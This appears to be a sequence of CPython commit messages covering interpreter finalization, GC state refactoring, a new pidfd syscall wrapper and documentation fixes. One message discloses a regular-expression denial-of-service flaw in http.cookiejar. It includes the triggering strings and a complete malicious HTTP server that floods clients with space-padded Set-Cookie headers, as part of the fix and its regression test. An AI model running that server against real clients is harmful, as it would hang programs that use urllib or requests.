If _PyImport_FixupExtensionObject() is called from a subinterpreter,
leave extensions unchanged and don't copy the module dictionary
into def->m_base.m_copy.
The Y2K reference is not needed as it only points out that Python's use
of C standard functions doesn't generally suffer from Y2K issues; the
point regarding conventions for conversion of 2-digit years in
:func:`strptime` is still valid.
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
is_cgi() function of http.server library does not currently handle a
cgi script if one of the cgi_directories is located at the
sub-directory of given path. Since is_cgi() in CGIHTTPRequestHandler
class separates given path into (dir, rest) based on the first seen
'/', multi-level directories like /sub/dir/cgi-bin/hello.py is divided
into head=/sub, rest=dir/cgi-bin/hello.py then check whether '/sub'
exists in cgi_directories = [..., '/sub/dir/cgi-bin'].
This patch makes the is_cgi() keep expanding dir part to the next '/'
then checking if that expanded path exists in the cgi_directories.

Skip the test_posix.test_pidfd_open() test if os.pidfd_open() fails
with a PermissionError. This situation can happen in a Linux sandbox
using a syscall whitelist which doesn't allow the pidfd_open()
syscall yet (like systemd-nspawn).
Remove BEGIN_FINALLY, END_FINALLY, CALL_FINALLY and POP_FINALLY bytecodes. Implement finally blocks by code duplication.
Reimplement frame.lineno setter using line numbers rather than bytecode offsets.
This PR will make the following changes to the [_Built-in Functions_](https://docs.python.org/3/library/functions.html) chapter of the library documentation:
- improve hyperlinks in Sphinx roles (trailing 's' belong to hyperlinks).
Automerge-Triggered-By: @csabella
Note that the support is not actually enabled yet, and so we won't be publishing these packages. However, for those who want to build it themselves (even by reusing the Azure Pipelines definition), it's now relatively easy to enable.
Remove PyMethod_ClearFreeList() and PyCFunction_ClearFreeList()
functions: the free lists of bound method objects have been removed.
Remove also _PyMethod_Fini() and _PyCFunction_Fini() functions.
* Add GCState type for readability
* gcmodule.c now gets its gcstate from tstate
* _PyGC_DumpShutdownStats() now expects tstate rather than runtime
* Rename "state" to "gcstate" for readability: to avoid confusion
between "state" and "tstate" for example.
* collect() now only expects tstate: it gets gcstate from tstate.
* Pass tstate to _PyErr_xxx() functions
Clear the current thread later in the Python finalization.
* The PyInterpreterState_Delete() function is now responsible
to call PyThreadState_Swap(NULL).
* The tstate_delete_common() function is now responsible to clear the
"autoTSSKey" thread local storage and it only clears it once the
thread state is fully cleared. It allows to still get the current
thread from TSS in tstate_delete_common().
* Factorize code in common between Py_FinalizeEx() and
Py_EndInterpreter().
* Py_EndInterpreter() now also calls _PyWarnings_Fini().
* Call _PyExc_Fini() and _PyGC_Fini() later in the finalization.
This exposes a Linux-specific syscall for sending a signal to a process
identified by a file descriptor rather than a pid.
For simplicity, we don't support the siginfo_t parameter to the syscall. This
parameter allows implementing a pidfd version of rt_sigqueueinfo(2), which
Python also doesn't support.
The PyFPE_START_PROTECT() and PyFPE_END_PROTECT() macros are empty:
they have been doing nothing for the last year (since commit
735ae8d139), so stop using them.
Add PyInterpreterState.runtime field: reference to the _PyRuntime
global variable. This field exists to not have to pass runtime in
addition to tstate to a function. Get runtime from tstate:
tstate->interp->runtime.
Remove "_PyRuntimeState *runtime" parameter from functions already
taking a "PyThreadState *tstate" parameter.
_PyGC_Init() first parameter becomes "PyThreadState *tstate".
